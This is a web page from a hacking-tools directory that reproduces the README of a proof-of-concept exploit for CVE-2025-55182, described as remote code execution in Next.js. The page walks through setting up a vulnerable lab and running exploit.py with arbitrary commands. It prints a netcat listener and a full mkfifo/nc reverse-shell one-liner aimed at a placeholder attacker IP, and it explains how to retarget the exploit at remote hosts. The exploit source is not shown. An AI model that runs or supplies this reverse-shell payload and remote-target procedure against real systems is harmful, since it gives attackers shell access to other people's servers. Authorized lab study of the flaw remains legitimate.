Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyยฉ 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
React2Shell-CVE-2025-55182 โ€” Proof-of-concept exploit for CVE-2025-55182 demonstrating remote code execution in Next.js via prototype pollution. Includes a pre-configured vulnerable lab for authorized testing and reverse shell generation. | Kitploit
Tools/GitHubGitHub/rahul-securify/react2shell-cve-2025-55182
Payload GenerationExploitationWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubrahul-securify/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

Proof-of-concept exploit for CVE-2025-55182 demonstrating remote code execution in Next.js via prototype pollution. Includes a pre-configured vulnerable lab for authorized testing and reverse shell generation.

Share
View Repository
3611 months agoNot yet reviewed

React2Shell CVE-2025-55182

A proof-of-concept exploit demonstrating a remote code execution vulnerability in Next.js applications through prototype pollution in the React server components rendering pipeline.

โš ๏ธ Disclaimer

This tool is for educational and authorized testing purposes only. Unauthorized use against systems you don't own or have permission to test is illegal.

๐Ÿ“‹ Prerequisites

  • Node.js (v16 or later)
  • Python 3.6+
  • netcat (for reverse shells)
  • A vulnerable Next.js application (included in this repo)

๐Ÿš€ Quick Start

Option 1: Use Pre-configured Lab

1. Clone the Repository

git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182

Option 2: Create Server from Scratch

# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab

Note: The pre-configured lab already includes the necessary vulnerable code. If creating from scratch, you'll need to manually add the vulnerable components.

2. Install Dependencies

cd react2shell-lab
npm install

3. Start the Vulnerable Server

In terminal 1:

npm run dev

The server should start on http://localhost:3000

๐Ÿ”ง Exploitation

Basic Command Execution

  1. The repository includes an exploit.py file that demonstrates the vulnerability. Edit the COMMAND variable in the file to your desired command:

    COMMAND = 'whoami'  # Change this to any command you want to execute
    
  2. Run the exploit:

    python3 exploit.py
    

Reverse Shell

  1. Set up a netcat listener in a new terminal:

    nc -nvlp 4444
    
  2. Edit exploit.py and update the command to your reverse shell payload:

    COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
    

    Replace YOUR_IP with your local machine's IP address.

  3. Run the exploit:

    python3 exploit.py
    

๐Ÿ› ๏ธ Advanced Usage

Testing Remote Targets

Edit the HOST variable in the exploit script to target remote servers:

HOST = 'target-ip-address'  # Replace with target IP
PORT = 3000  # Default Next.js port

Common Commands

  • List directory contents: ls -la
  • Get system information: uname -a
  • Get current user: whoami
  • Get network information: ifconfig or ip a

๐Ÿ” Troubleshooting

  • Connection refused: Ensure the target server is running and accessible
  • Command not found: The target system might not have certain binaries installed
  • No output: The command might have executed but not produced any output

๐Ÿ“š References

  • CVE-2025-55182
  • Next.js Security Advisories
  • Prototype Pollution in JavaScript

๐Ÿ“„ License

This project is licensed under the MIT License - see the LICENSE file for details.

This version asks for user input for remote target and attacker IPs and ports. The post body (body_parts) is also trimmed down slightly in this version.

Sources:

https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained

https://tryhackme.com/room/react2shellcve202555182

Download Tool

Most Popular

View all โ†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    ๐ŸŽฏ The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityโ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools โ†’